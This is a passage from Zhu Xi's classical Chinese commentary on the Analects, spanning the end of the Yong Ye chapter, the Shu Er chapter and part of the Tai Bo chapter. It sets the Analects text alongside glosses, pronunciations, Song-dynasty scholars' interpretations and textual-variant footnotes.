學雖有餘、然意其遠者大者或昧焉、故夫子語之以此。\n子游為武城宰。子曰女得人焉爾乎。曰有澹臺滅明者、行不由徑。非公事、未嘗至於偃之室也。女、音汝。澹、徒甘反。武城、魯下邑。澹臺姓、滅明名、字子羽。徑、路之小而捷者。公事、如飲射讀法之類。不由徑、則動必以正、而無見小欲速之意可知。非公事不見邑宰、則其有以自守、而無枉己殉人之私可見矣。楊氏曰為政以人才為先、故孔子以得人為問。如滅明者、觀其二事之小、而其正大之情可見矣。後世有不由徑者、人必以為迂。不至其室、人必以為簡。非孔氏之徒、其孰能知而取之。愚謂持身以滅明為法、則無苟賤之羞。取人以子游為法、則無邪媚之惑。\n子曰孟之反不伐、奔而殿。將入門、策其馬、曰『非敢後也、馬不進也。』殿、去聲。孟之反、魯大夫、名側。胡氏曰反即莊周所稱孟子反者是也。伐、誇功也。奔、敗走也。軍後曰殿。策、鞭也。戰敗而還、以後為功。反奔而殿、故以此言自揜其功也。事在哀公十一年。謝氏曰人能操無欲上人之心、則人欲日消、天理日明、而凡可以矜己誇人者、皆無足道矣。然不知學者欲上人之心無時而忘也、若孟之反、可以為法矣。\n子曰不有祝鮀之佞而有宋朝之美、難乎免於今之世矣鮀、徒河反。祝、宗廟之官。鮀、衛大夫、字子魚、有口才。朝、宋公子、有美色。言衰世好諛悅色、非此難免、蓋傷之也。\n子曰誰能出不由戶。何莫由斯道也。言人不能出不由戶、何故乃不由此道邪。怪而歎之之辭。○洪氏曰人知出必由戶、而不知行必由道。非道遠人、人自遠爾。\n子曰質勝文則野、文勝質則史。文質彬彬、然後君子。野、野人、言鄙略也。史、掌文書、多聞習事、而誠或不足也。彬彬、猶班班、物相雜而適均之貌。言學者當損有餘、補不足、至於成德、則不期然而然矣。楊氏曰文質不可以相勝。然質之勝文、猶之甘可以受和、白可以受采也。文勝而至於滅質、則其本亡矣。雖有文、將安施乎。然則與其史也、寧野。\n子曰人之生也直、罔之生也幸而免。程子曰生理本直。罔、不直也、而亦生者、幸而免爾。\n子曰知之者不如好之者、好之者不如樂之者。好、去聲。樂、音洛。尹氏曰知之者、知有此道也。好之者、好而未得也。樂之者、有所得而樂之也。張敬夫曰譬之五穀、知者知其可食者也、好者食而嗜之者也、樂者嗜之而飽者也。知而不能好、則是知之未至也。好之而未及於樂、則是好之未至也。此古之學者、所以自強而不息者歟。\n子曰中人以上、可以語上也。中人以下、不可以語上也。以上之上、上聲。語、去聲。語、告也。言教人者、當隨其高下而告語之、則其言易入而無躐等之弊也。張敬夫曰聖人之道、精粗雖無二致、但其施教、則必因其材而篤焉。蓋中人以下之質、驟而語之太高、非惟不能以入、且將妄意躐等、而有不切於身之弊、亦終於下而已矣。故就其所及而語之、是乃所以使之切問近思、而漸進於高遠也。\n樊遲問知。子曰務民之義、敬鬼神而遠之、可謂知矣。問仁。曰仁者先難而後獲、可謂仁矣。知、遠、皆去聲。民、亦人也。獲、謂得也。專用力於人道之所宜、而不惑於鬼神之不可知、知者之事也。先其事之所難、而後其效之所得、仁者之心也。此必因樊遲之失而告之。程子曰人多信鬼神、惑也。而不信者又不能敬、能敬能遠、可謂知矣。又曰先難、克己也。以所難為先、而不計所獲、仁也。呂氏曰當務為急、不求所難知。力行所知、不憚所難為。\n子曰知者樂水、仁者樂山。知者動、仁者靜。知者樂、仁者壽。知、去聲。樂、上二字並五教反、下一字音洛。樂、喜好也。知者達於事理而周流無滯、有似於水、故樂水。仁者安於義理而厚重不遷、有似於山、故樂山。動靜以體言、樂壽以效言也。動而不括故樂、靜而有常故壽。程子曰非體仁知之深者、不能如此形容之。\n子曰齊一變、至於魯。魯一變、至於道。孔子之時、齊俗急功利、喜夸詐、乃霸政之餘習。魯則重禮教、崇信義、猶有先王之遺風焉、但人亡政息、不能無廢墜爾。道、則先王之道也。言二國之政俗有美惡、故其變而之道有難易。程子曰夫子之時、齊強魯弱、孰不以為齊勝魯也、然魯猶存周公之法制。齊由桓公之霸、為從簡尚功之治、太公之遺法變易盡矣、故一變乃能至魯。魯則修舉廢墜而已、一變則至於先王之道也。愚謂二國之俗、惟夫子為能變之而不得試。然因其言以考之、則其施為緩急之序、亦略可見矣。\n子曰觚不觚、觚哉觚哉觚、音孤。觚、棱也、或曰酒器、或曰木簡、皆器之有棱者也。不觚者、蓋當時失其制而不為棱也。觚哉觚哉、言不得為觚也。程子曰觚而失其形制、則非觚也。舉一器、而天下之物莫不皆然。故君而失其君之道、則為不君。臣而失其臣之職、則為虛位。范氏曰人而不仁則非人、國而不治則不國矣。\n宰我問曰仁者、雖告之曰『井有仁焉。』其從之也。子曰何為其然也。君子可逝也、不可陷也。可欺也、不可罔也。劉聘君曰、有仁之仁當作人、今從之。從、謂隨之於井而救之也。宰我信道不篤、而憂為仁之陷害、故有此問。逝、謂使之往救。陷、謂陷之於井。欺、謂誑之以理之所有。罔、謂昧之以理之所無。蓋身在井上、乃可以救井中之人。若從之於井、則不復能救之矣。此理甚明、人所易曉、仁者雖切於救人而不私其身、然不應如此之愚也。\n子曰君子博學於文、約之以禮、亦可以弗畔矣夫夫、音扶。約、要也。畔、背也。君子學欲其博、故於文無不考。守欲其要、故其動必以禮。如此、則可以不背於道矣。程子曰博學於文而不約之以禮、必至於汗漫。博學矣、又能守禮而由於規矩、則亦可以不畔道矣。\n子見南子、子路不說。夫子矢之曰予所否者、天厭之天厭之說、音悅。否、方九反。南子、衛靈公之夫人、有淫行。孔子至衛、南子請見、孔子辭謝、不得已而見之。蓋古者仕於其國、有見其小君之禮。而子路以夫子見此淫亂之人為辱、故不悅。矢、誓也。所、誓辭也、如云所不與崔、慶者之類。否、謂不合於禮、不由其道也。厭、棄絕也。聖人道大德全、無可不可。其見惡人、固謂在我有可見之禮、則彼之不善、我何與焉。然此豈子路所能測哉。故重言以誓之、欲其姑信此而深思以得之也。\n子曰中庸之為德也、其至矣乎民鮮久矣。鮮、上聲。中者、無過無不及之名也。庸、平常也。至、極也。鮮、少也。言民少此德、今已久矣。程子曰不偏之謂中、不易之謂庸。中者天下之正道、庸者天下之定理。自世教衰、民不興於行、少有此德久矣。\n子貢曰如有博施於民而能濟眾、何如。可謂仁乎。子曰何事於仁、必也聖乎堯舜其猶病諸施、去聲。博、廣也。仁以理言、通乎上下。聖以地言、則造其極之名也。乎者、疑而未定之辭。病、心有所不足也。言此何止於仁、必也聖人能之乎則雖堯舜之聖、其心猶有所不足於此也。以是求仁、愈難而愈遠矣。夫仁者、己欲立而立人、己欲達而達人。夫、音扶。以己及人、仁者之心也。於此觀之、可以見天理之周流而無閒矣。狀仁之體、莫切於此。能近取譬、可謂仁之方也已。譬、喻也。方、術也。近取諸身、以己所欲譬之他人、知其所欲亦猶是也。然後推其所欲以及於人、則恕之事而仁之術也。於此勉焉、則有以勝其人欲之私、而全其天理之公矣。程子曰醫書以手足痿痹為不仁、此言最善名狀。仁者以天地萬物為一體、莫非己也。認得為己、何所不至。若不屬己、自與己不相干。如手足之不仁、氣已不貫、皆不屬己。故博施濟眾、乃聖人之功用。仁至難言、故止曰『己欲立而立人、己欲達而達人、能近取譬、可謂仁之方也已。』欲令如是觀仁、可以得仁之體。又曰論語言『\n堯舜其猶病諸』者二。夫博施者、豈非聖人之所欲。然必五十乃衣帛、七十乃食肉。聖人之心、非不欲少者亦衣帛食肉也、顧其養有所不贍爾、此病其施之不博也。濟眾者、豈非聖人之所欲。然治不過九州。聖人非不欲四海之外亦兼濟也、顧其治有所不及爾、此病其濟之不眾也。推此以求、脩己以安百姓、則為病可知。苟以吾治已足、則便不是聖人。呂氏曰子貢有志於仁、徒事高遠、未知其方。孔子教以於己取之、庶近而可入。是乃為仁之方、雖博施濟眾、亦由此進。\n論語集注卷四\n述而第七此篇多記聖人謙己誨人之辭及其容貌行事之實。凡三十七章。\n子曰述而不作、信而好古、竊比於我老彭。好、去聲。述、傳舊而已。作、則創始也。故作非聖人不能、而述則賢者可及。竊比、尊之之辭。我、親之之辭。老彭、商賢大夫、見大戴禮、蓋信古而傳述者也。孔子刪詩書、定禮樂、贊周易、脩春秋、皆傳先王之舊、而未嘗有所作也、故其自言如此。蓋不惟不敢當作者之聖、而亦不敢顯然自附於古之賢人。蓋其德愈盛而心愈下、不自知其辭之謙也。然當是時、作者略備、夫子蓋集群聖之大成而折衷之。其事雖述、而功則倍於作矣、此又不可不知也。\n子曰默而識之、學而不厭、誨人不倦、何有於我哉。識、音志、又如字。識、記也。默識、謂不言而存諸心也。一說識、知也、不言而心解也。前說近是。何有於我、言何者能有於我也。三者已非聖人之極至、而猶不敢當、則謙而又謙之辭也。\n子曰德之不脩、學之不講、聞義不能徙、不善不能改、是吾憂也。尹氏曰德必脩而後成、學必講而後明、見善能徙、改過不吝、此四者日新之要也。苟未能之、聖人猶憂、況學者乎。\n子之燕居、申申如也、夭夭如也。燕居、閒暇無事之時。楊氏曰申申、其容舒也。夭夭、其色愉也。程子曰此弟子善形容聖人處也、為申申字說不盡、故更著夭夭字。今人燕居之時、不怠惰放肆、必太嚴厲。嚴厲時著此四字不得、怠惰放肆時亦著此四字不得、惟聖人便自有中和之氣。\n子曰甚矣吾衰也久矣吾不復夢見周公。復、扶又反。孔子盛時、志欲行周公之道、故夢寐之間、如或見之。至其老而不能行也、則無復是心、而亦無復是夢矣、故因此而自歎其衰之甚也。程子曰孔子盛時、寤寐常存行周公之道。憕其老也、則志慮衰而不可以有為矣。蓋存道者心、無老少之異。而行道者身、老則衰也。\n子曰志於道、志者、心之所之之謂。道、則人倫日用之間所當行者是也。如此而心必之焉、則所適者正、而無他歧之惑矣。據於德、據者、執守之意。德者、得也、得其道〔一〕於心而不失之謂也。得之於心而守之不失、則終始惟一、而有日新之功矣。依於仁、依者、不違之謂。仁、則私欲盡去而心德之全也。功夫至此而無終食之違、則存養之熟、無適而非天理之流行矣。游於藝。游者、玩物適情之謂。藝、則禮樂之文、射、御、書、數之法、皆至理所寓、而日用之不可闕者也。朝夕游焉、以博其義理之趣、則應務有餘、而心亦無所放矣。此章言人之為學當如是也。蓋學莫先於立志、志道、則心存於正而不他。據德、則道得於心而不失。依仁、則德性常用而物欲不行。游藝、則小物不遺而動息有養。學者於此、有以不失其先後之序、輕重之倫焉、則本末兼該、內外交養、日用之間、無少間隙、而涵泳從容、忽不自知其入於聖賢之域矣。\n〔一〕德者得也、得其道、清仿宋大字本作德則行道而有得。吳英以為後者非朱熹定本之文、故不取、詳本書附錄四書章句集注定本辨。\n子曰自行束脩以上、吾未嘗無誨焉。脩、脯也。十脡為束。古者相見、必執贄以為禮、束脩其至薄者。蓋人之有生、同具此理、故聖人之於人、無不欲其入於善。但不知來學、則無往教之禮、故苟以禮來、則無不有以教之也。\n子曰不憤不啟、不悱不發、舉一隅不以三隅反、則不復也。憤、房粉反。悱、芳匪反。復、扶又反。憤者、心求通而未得之意。悱者、口欲言而未能之貌。啟、謂開其意。發、謂達其辭。物之有四隅者、舉一可知其三。反者、還以相證之義。復、再告也。上章已言聖人誨人不倦之意、因并記此、欲學者勉於用力、以為受教之地也。程子曰憤悱、誠意之見於色辭者也。待其誠至而後告之。既告之、又必待其自得、乃復告爾。又曰不待憤悱而發、則知之不能堅固。待其憤悱而後發、則沛然矣。\n子食於有喪者之側、未嘗飽也。臨喪哀、不能甘也。子於是日哭、則不歌。哭、謂弔哭。日之內、餘哀未忘、自不能歌也。謝氏曰學者於此二者、可見聖人情性之正也。能識聖人之情性、然後可以學道。\n子謂顏淵曰用之則行、舍之則藏、唯我與爾有是夫舍、上聲。夫、音扶。尹氏曰用舍無與於己、行藏安於所遇、命不足道也。顏子幾於聖人、故亦能之。子路曰子行三軍、則誰與。萬二千五百人為軍、大國三軍。子路見孔子獨美顏淵、自負其勇、意夫子若行三軍、必與己同。子曰暴虎馮河、死而無悔者、吾不與也。必也臨事而懼、好謀而成者也。馮、皮冰反。好、去聲。暴虎、徒搏。馮河、徒涉。懼、謂敬其事。成、謂成其謀。言此皆以抑其勇而教之、然行師之要實不外此、子路蓋不知也。謝氏曰聖人於行藏之間、無意無必。其行非貪位、其藏非獨善也。若有欲心、則不用而求行、舍之而不藏矣、是以惟顏子為可以與於此。子路雖非有欲心者、然未能無固必也、至以行三軍為問、則其論益卑矣。夫子之言、蓋因其失而救之。夫不謀無成、不懼必敗、小事尚然、而況於行三軍乎。\n子曰富而可求也、雖執鞭之士、吾亦為之。如不可求、從吾所好。好、去聲。執鞭、賤者之事。設言富若可求、則雖身為賤役以求之、亦所不辭。然有命焉、非求之可得也、則安於義理而已矣、何必徒取辱哉。蘇氏曰聖人未嘗有意於求富也、豈問其可不可哉。為此語者、特以明其決不可求爾。楊氏曰君子非惡富貴而不求、以其在天、無可求之道也。\n子之所慎齊、戰、疾。齊、側皆反。齊之為言齊也、將祭而齊其思慮之不齊者、以交於神明也。誠之至與不至、神之饗與不饗、皆決於此。戰則眾之死生、國之存亡繫焉、疾又吾身之所以死生存亡者、皆不可以不謹也。尹氏曰夫子無所不謹、弟子記其大者耳。\n子在齊聞韶、三月不知肉味。曰不圖為樂之至於斯也史記三月上有學之二字。不知肉味、蓋心一於是而不及乎他也。曰不意舜之作樂至於如此之美、則有以極其情文之備、而不覺其歎息之深也、蓋非聖人不足以及此。范氏曰韶盡美又盡善、樂之無以加此也。故學之三月、不知肉味、而歎美之如此。誠之至、感之深也。\n冉有曰夫子為衛君乎。子貢曰諾。吾將問之。為、去聲。為、猶助也。衛君、出公輒也。靈公逐其世子蒯聵。公薨、而國人立蒯聵之子輒。於是晉納蒯聵而輒拒之。時孔子居衛、衛人以蒯聵得罪於父、而輒嫡孫當立、故冉有疑而問之。諾、應辭也。入、曰伯夷、叔齊何人也。曰古之賢人也。曰怨乎。曰求仁而得仁、又何怨。出、曰夫子不為也。伯夷、叔齊、孤竹君之二子。其父將死、遺命立叔齊。父卒、叔齊遜伯夷。伯夷曰父命也、遂逃去。叔齊亦不立而逃之、國人立其中子。其後武王伐紂、夷、齊扣馬而諫。武王滅商、夷、齊恥食周粟、去隱于首陽山、遂餓而死。怨、猶悔也。君子居是邦、不非其大夫、況其君乎。故子貢不斥衛君、而以夷、齊為問。夫子告之如此、則其不為衛君可知矣。蓋伯夷以父命為尊、叔齊以天倫為重。其遜國也、皆求所以合乎天理之正、而即乎人心之安。既而各得其志焉、則視棄其國猶敝蹝爾、何怨之有。若衛輒之據國拒父而惟恐失之、其不可同年而語明矣。程子曰伯夷、叔齊遜國而逃、諫伐而餓、終無怨悔、夫子以為賢、故知其不與輒也。\n子曰飯疏食飲水、曲肱而枕之、樂亦在其中矣。不義而富且貴、於我如浮雲。飯、符晚反。食、音嗣。枕、去聲。樂、音洛。飯、食之也。疏食、麤飯也。聖人之心、渾然天理、雖處困極、而樂亦無不在焉。其視不義之富貴、如浮雲之無有、漠然無所動於其中也。程子曰非樂疏食飲水也、雖疏食飲水、不能改其樂也。不義之富貴、視之輕如浮雲然。又曰須知所樂者何事。\n子曰加我數年、五十以學易、可以無大過矣。劉聘君見元城劉忠定公自言嘗讀他論、加作假、五十作卒。蓋加、假聲相近而誤讀、卒與五十字相似而誤分也。愚按此章之言、史記作為假我數年、若是我於易則彬彬矣。加正作假、而無五十字。蓋是時、孔子年已幾七十矣、五十字誤無疑也。學易、則明乎吉凶消長之理、進退存亡之道、故可以無大過。蓋聖人深見易道之無窮、而言此以教人、使知其不可不學、而又不可以易而學也。\n子所雅言、詩、書、執禮、皆雅言也。雅、常也。執、守也。詩以理情性、書以道政事、禮以謹節文、皆切於日用之實、故常言之。禮獨言執者、以人所執守而言、非徒誦說而已也。程子曰孔子雅素之言、止於如此。若性與天道、則有不可得而聞者、要在默而識之也。謝氏曰此因學易之語而類記之。\n葉公問孔子於子路、子路不對。葉、舒涉反。葉公、楚葉縣尹沈諸梁、字子高、僭稱公也。葉公不知孔子、必有非所問而問者、故子路不對。抑亦以聖人之德、實有未易名言者與。子曰女奚不曰、其為人也、發憤忘食、樂以忘憂、不知老之將至云爾。未得、則發憤而忘食。已得、則樂之而忘憂。以是二者俛焉日有孳孳、而不知年數之不足、但自言其好學之篤耳。然深味之、則見其全體至極、純亦不已之妙、有非聖人不能及者。蓋凡夫子之自言類如此、學者宜致思焉。\n子曰我非生而知之者、好古、敏以求之者也。好、去聲。生而知之者、氣質清明、義理昭著、不待學而知也。敏、速也、謂汲汲也。○尹氏曰孔子以生知之聖、每云好學者、非惟勉人也、蓋生而可知者義理爾、若夫禮樂名物、古今事變、亦必待學而後有以驗其實也。\n子不語怪、力、亂、神。怪異、勇力、悖亂之事、非理之正、固聖人所不語。鬼神、造化之跡、雖非不正、然非窮理之至、有未易明者、故亦不輕以語人也。謝氏曰聖人語常而不語怪、語德而不語力、語治而不語亂、語人而不語神。\n子曰三人行、必有我師焉。擇其善者而從之、其不善者而改之。三人同行、其一我也。彼二人者、一善一惡、則我從其善而改其惡焉、是二人者皆我師也。尹氏曰見賢思齊、見不賢而內自省、則善惡皆我之師、進善其有窮乎。\n子曰天生德於予、桓魋其如予何。魋、徒雷反。桓魋、宋司馬向魋也。出於桓公、故又稱桓氏。魋欲害孔子、孔子言天既賦我以如是之德、則桓魋其奈我何。言必不能違天害己。\n子曰二三子以我為隱乎。吾無隱乎爾。吾無行而不與二三子者、是丘也。諸弟子以夫子之道高深不可幾及、故疑其有隱、而不知聖人作、止、語、默無非教也、故夫子以此言曉之。與、猶示也。程子曰聖人之道猶天然、門弟子親炙而冀及之、然後知其高且遠也。使誠以為不可及、則趨向之心不幾於怠乎。故聖人之教、常俯而就之如此、非獨使資質庸下者勉思企及、而才氣高邁者亦不敢躐易而進也。呂氏曰聖人體道無隱、與天象昭然、莫非至教。常以示人、而人自不察。\n子以四教文、行、忠、信。行、去聲。程子曰教人以學文脩行而存忠信也。忠信、本也。\n子曰聖人、吾不得而見之矣。得見君子者、斯可矣。聖人、神明不測之號。君子、才德出眾之名。子曰善人、吾不得而見之矣。得見有恆者、斯可矣。恆、胡登反。○子曰字疑衍文。恆、常久之意。張子曰有恆者、不貳其心。善人者、志於仁而無惡。亡而為有、虛而為盈、約而為泰、難乎有恆矣。亡、讀為無。三者皆虛夸之事、凡若此者、必不能守其常也。張敬夫曰聖人、君子以學言、善人、有恆者以質言。愚謂有恆者之與聖人、高下固懸絕矣、然未有不自有恆而能至於聖者也。故章末申言有恆之義、其示人入德之門、可謂深切而著明矣。\n子釣而不綱、弋不射宿。射、食亦反。綱、以大繩屬網、絕流而漁者也。弋、以生絲繫矢而射也。宿、宿鳥。洪氏曰孔子少貧賤、為養與祭、或不得已而釣弋、如獵較是也。然盡物取之、出其不意、亦不為也。此可見仁人之本心矣。待物如此、待人可知。小者如此、大者可知。\n子曰蓋有不知而作之者、我無是也。多聞擇其善者而從之、多見而識之、知之次也。識、音志。不知而作、不知其理而妄作也。孔子自言未嘗妄作、蓋亦謙辭、然亦可見其無所不知也。識、記也。所從不可不擇、記則善惡皆當存之、以備參考。如此者雖未能實知其理、亦可以次於知之者也。\n互鄉難與言、童子見、門人惑。見、賢遍反。互鄉、鄉名。其人習於不善、難與言善。惑者、疑夫子不當見之也。子曰與其進也、不與其退也、唯何甚人潔己以進、與其潔也、不保其往也。疑此章有錯簡。人潔至往也十四字、當在與其進也之前。潔、脩治也。與、許也。往、前日也。言人潔己而來、但許其能自潔耳、固不能保其前日所為之善惡也。但許其進而來見耳、非許其既退而為不善也。蓋不追其既往、不逆其將來、以是心至、斯受之耳。唯字上下、疑又有闕文、大抵亦不為已甚之意。程子曰聖人待物之洪如此。\n子曰仁遠乎哉。我欲仁、斯仁至矣。仁者、心之德、非在外也。放而不求、故有以為遠者。反而求之、則即此而在矣、夫豈遠哉。程子曰為仁由己、欲之則至、何遠之有。\n陳司敗問昭公知禮乎。孔子曰知禮。陳、國名。司敗、官名、即司寇也。昭公、魯君、名裯。習於威儀之節、當時以為知禮。故司敗以為問、而孔子答之如此孔子退、揖巫馬期而進之、曰吾聞君子不黨、君子亦黨乎。君取於吳為同姓、謂之吳孟子。君而知禮、孰不知禮。取、七住反。○巫馬姓、期字、孔子弟子、名施。司敗揖而進之也。相助匿非曰黨。禮不娶同姓、而魯與吳皆姬姓。謂之吳孟子者、諱之使若宋女子姓者然。巫馬期以告。子曰丘也幸、苟有過、人必知之。孔子不可自謂諱君之惡、又不可以娶同姓為知禮、故受以為過而不辭。吳氏曰魯蓋夫子父母之國、昭公、魯之先君也。司敗又未嘗顯言其事、而遽以知禮為問、其對之宜如此也。及司敗以為有黨、而夫子受以為過、蓋夫子之盛德、無所不可也。然其受以為過也、亦不正言其所以過、初若不知孟子之事者、可以為萬世之法矣。\n子與人歌而善、必使反之、而後和之。和、去聲。反、復也。必使復歌者、欲得其詳而取其善也。而後和之者、喜得其詳而與其善也。此見聖人氣象從容、誠意懇至、而其謙遜審密、不掩人善又如此。蓋一事之微、而眾善之集、有不可勝既者焉、讀者宜詳味之。\n子曰文、莫吾猶人也。躬行君子、則吾未之有得。莫、疑辭。猶人、言不能過人、而尚可以及人。未之有得、則全未有得、皆自謙之辭。而足以見言行之難易緩急、欲人之勉其實也。謝氏曰文雖聖人無不與人同、故不遜。能躬行君子、斯可以入聖、故不居。猶言君子道者三我無能焉。\n子曰若聖與仁、則吾豈敢。抑為之不厭、誨人不倦、則可謂云爾已矣。公西華曰正唯弟子不能學也。此亦夫子之謙辭也。聖者、大而化之。仁、則心德之全而人道之備也。為之、謂為仁聖之道。誨人、亦謂以此教人也。然不厭不倦、非己有之則不能、所以弟子不能學也。晁氏曰當時有稱夫子聖且仁者、以故夫子辭之。苟辭之而已焉、則無以進天下之材、率天下之善、將使聖與仁為虛器、而人終莫能至矣。故夫子雖不居仁聖、而必以為之不厭、誨人不倦自處也。可謂云爾已矣者、無他之辭也。公西華仰而歎之、其亦深知夫子之意矣。\n子疾病、子路請禱。子曰有諸。子路對曰有之。誄曰『禱爾于上下神祇。』子曰丘之禱久矣。誄、力〔一〕軌反。禱、謂禱於鬼神。有諸、問有此理否。誄者、哀死而述其行之辭也。上下、謂天地。天曰神、地曰祇。禱者、悔過遷善、以祈神之佑也。無其理則不必禱、既曰有之、則聖人未嘗有過、無善可遷。其素行固已合於神明、故曰丘之禱久矣。又士喪禮、疾病行禱五祀、蓋臣子迫切之至情、有不能自已者、初不請於病者而後禱也。故孔子之於子路、不直拒之、而但告以無所事禱之意。\n〔一〕力原作九、據清仿宋大字本改。\n子曰奢則不孫、儉則固。與其不孫也、寧固。孫、去聲。孫、順也。固、陋也。奢儉俱失中、而奢之害大。晁氏曰不得已而救時之弊也。\n子曰君子坦蕩蕩、小人長戚戚。坦、平也。蕩蕩、寬廣貌。程子曰君子循理、故常舒泰。小人役於物、故多憂戚。程子曰君子坦蕩蕩、心廣體胖。\n子溫而厲、威而不猛、恭而安。厲、嚴肅也。人之德性本無不備、而氣質所賦、鮮有不偏、惟聖人全體渾然、陰陽合德、故其中和之氣見於容貌之間者如此。門人熟察而詳記之、亦可見其用心之密矣。抑非知足以知聖人而善言德行者不能也、故程子以為曾子之言。學者所宜反復而玩心也。\n泰伯第八凡二十一章。\n子曰泰伯、其可謂至德也已矣三以天下讓、民無得而稱焉。泰伯、周大王之長子。至德、謂德之至極、無以復加者也。三讓、謂固遜也。無得而稱、其遜隱微、無跡可見也。蓋大王三子長泰伯、次仲雍、次季歷。大王之時、商道寖衰、而周日強大。季歷又生子昌、有聖德。大王因有翦商之志、而泰伯不從、大王遂欲傳位季歷以及昌。泰伯知之、即與仲雍逃之荊蠻。於是大王乃立季歷、傳國至昌、而三分天下有其二、是為文王。文王崩、子發立、遂克商而有天下、是為武王。夫以泰伯之德、當商周之際、固足以朝諸侯有天下矣、乃棄不取而又泯其跡焉、則其德之至極為何如哉蓋其心即夷齊扣馬之心、而事之難處有甚焉者、宜夫子之歎息而贊美之也。泰伯不從、事見春秋傳。\n子曰恭而無禮則勞、慎而無禮則葸、勇而無禮則亂、直而無禮則絞。葸、絲里反。絞、古卯反。葸、畏懼貌。絞、急切也。無禮則無節文、故有四者之弊。君子篤於親、則民興於仁。故舊不遺、則民不偷。君子、謂在上之人也。興、起也。偷、薄也。張子曰人道知所先後、則恭不勞、慎不葸、勇不亂、直不絞、民化而德厚矣。吳氏曰君子以下、當自為一章、乃曾子之言也。愚按此一節與上文不相蒙、而與首篇慎終追遠之意相類、吳說近是。\n曾子有疾、召門弟子曰啟予足啟予手詩云『戰戰兢兢、如臨深淵、如履薄冰。』而今而後、吾知免夫小子夫、音扶。啟、開也。曾子平日以為身體受於父母、不敢毀傷、故於此使弟子開其衾而視之。詩小旻之篇。戰戰、恐懼。兢兢、戒謹。臨淵、恐墜。履冰、恐陷也。曾子以其所保之全示門人、而言其所以保之之難如此。至於將死、而後知其得免於毀傷也。小子、門人也。語畢而又呼之、以致反復丁寧之意、其警之也深矣。程子曰君子曰終、小人曰死。君子保其身以沒、為終其事也、故曾子以全歸為免矣。尹氏曰父母全而生之、子全而歸之。曾子臨終而啟手足、為是故也。非有得於道、能如是乎。范氏曰身體猶不可虧也、況虧其行以辱其親乎。\n曾子有疾、孟敬子問之。孟敬子、魯大夫仲孫氏、名捷。問之者、問其疾也。曾子言曰鳥之將死、其鳴也哀。人之將死、其言也善。言、自言也。鳥畏死、故鳴哀。人窮反本、故言善。此曾子之謙辭、欲敬子知其所言之善而識之也。君子所貴乎道者三動容貌、斯遠暴慢矣。正顏色、斯近信矣。出辭氣、斯遠鄙倍矣。籩豆之事、則有司存。遠、近、並去聲。貴、猶重也。容貌、舉一身而言。暴、粗厲也。慢、放肆也。信、實也。正顏色而近信、則非色莊也。辭、言語。氣、聲氣也。鄙、凡陋也。倍、與背同、謂背理也。籩、竹豆。豆、木豆。言道雖無所不在、然君子所重者、在此三事而已。是皆脩身之要、為政之本、學者所當操存省察、而不可有造次顛沛之違者也。若夫籩豆之事、器數之末、道之全體固無不該、然其分則有司之守、而非君子之所重矣。程子曰動容貌、舉一身而言也。周旋中禮、暴慢斯遠矣。正顏色則不妄、斯近信矣。出辭氣、正由中出、斯遠鄙倍。三者正身而不外求、故曰籩豆之事則有司存。尹氏曰養於中則見於外、曾子蓋以脩己為為政之本。若乃器用事物之細、則有司存焉。\n曾子曰以能問於不能、以多問於寡。有若無、實若虛、犯而不校、昔者吾友嘗從事於斯矣。校、計校也。友、馬氏以為顏淵是也。顏子之心、惟知義理之無窮、不見物我之有間、故能如此。謝氏曰不知有餘在己、不足在人。不必得為在己、失為在人、非幾於無我者不能也。\n曾子曰可以託六尺之孤、可以寄百里之命、臨大節而不可奪也。君子人與。君子人也。與、平聲。其才可以輔幼君、攝國政、其節至於死生之際而不可奪、可謂君子矣。與、疑辭。也、決辭。設為問答、所以深著其必然也。程子曰節操如是、可謂君子矣。\n曾子曰士不可以不弘毅、任重而道遠。弘、寬廣也。毅、強忍也。非弘不能勝其重、非毅無以致其遠。仁以為己任、不亦重乎。死而後已、不亦遠乎。仁者、人心之全德、而必欲以身體而力行之、可謂重矣。一息尚存、此志不容少懈、可謂遠矣。程子曰弘而不毅、則無規矩而難立。毅而不弘、則隘陋而無以居之。又曰弘大剛毅、然後能勝重任而遠到。\n子曰興於詩、興、起也。詩本性情、有邪有正、其為言既易知、而吟詠之間、抑揚反覆、其感人又易入。故學者之初、所以興起其好善惡惡之心、而不能自已者、必於此而得之。立於禮。禮以恭敬辭遜為本、而有節文度數之詳、可以固人肌膚之會、筋骸之束。故學者之中、所以能卓然自立、而不為事物之所搖奪者、必於此而得之。成於樂。樂有五聲十二律、更唱迭和、以為歌舞八音之節、可以養人之性情、而蕩滌其邪穢、消融其查滓。故學者之終、所以至於義精仁熟、而自和順於道德者、必於此而得之、是學之成也。按內則、十年學幼儀、十三學樂誦詩、二十而後學禮。則此三者、非小學傳授之次、乃大學終身所得之難易、先後、淺深也。程子曰天下之英才不為少矣、特以道學不明、故不得有所成就。夫古人之詩、如今之歌曲、雖閭里童稚、皆習聞之而知其說、故能興起。今雖老師宿儒、尚不能曉其義、況學者乎。是不得興於詩也。古人自洒埽應對、以至冠、昏、喪、祭、莫不有禮。今皆廢壞、是以人倫不明、治家無法、是不得立於禮也。古人之樂聲音所以養其耳、采色所以養其目、歌詠所以養其性情、舞蹈所以養其血脈。今皆無之、是不得成於樂也。是以古之成材也易、今之成材也難。\n子曰民可使由之、不可使知之。民可使之由於是理之當然、而不能使之知其所以然也。程子曰聖人設教、非不欲人家喻而戶曉也、然不能使之知、但能使之由之爾。若曰聖人不使民知、則是後世朝四暮三之術也、豈聖人之心乎。\n子曰好勇疾貧、亂也。人而不仁、疾之已甚、亂也。好、去聲。好勇而不安分、則必作亂。惡不仁之人而使之無所容、則必致亂。二者之心、善惡雖殊、然其生亂則一也。\n子曰如有周公之才之美、使驕且吝、其餘不足觀也已。才美、謂智能技藝之美。驕、矜夸。吝、鄙嗇也。程子曰此甚言驕吝之不可也。蓋有周公之德、則自無驕吝。若但有周公之才而驕吝焉、亦不足觀矣。又曰驕、氣盈。吝、氣歉。愚謂驕吝雖有盈歉之殊、然其勢常相因。蓋驕者吝之枝葉、吝者驕之本根。故嘗驗之天下之人、未有驕而不吝、吝而不驕者也。\n子曰三年學、不至於穀、不易得也。易、去聲。穀、祿也。至、疑當作志。為學之久、而不求祿、如此之人、不易得也。楊氏曰雖子張之賢、猶以干祿為問、況其下者乎。然則三年學而不至於穀、宜不易得也。\n子曰篤信好學、守死善道。好、去聲。篤、厚而力也。不篤信、則不能好學。然篤信而不好學、則所信或非其正。不守死、則不能以善其道。然守死而不足以善其道、則亦徒死而已。蓋守死者篤信之效、善道者好學之功。危邦不入、亂邦不居。天下有道則見、無道則隱。見、賢遍反。君子見危授命、則仕危邦者無可去之義、在外則不入可也。亂邦未危、而刑政紀綱紊矣、故潔其身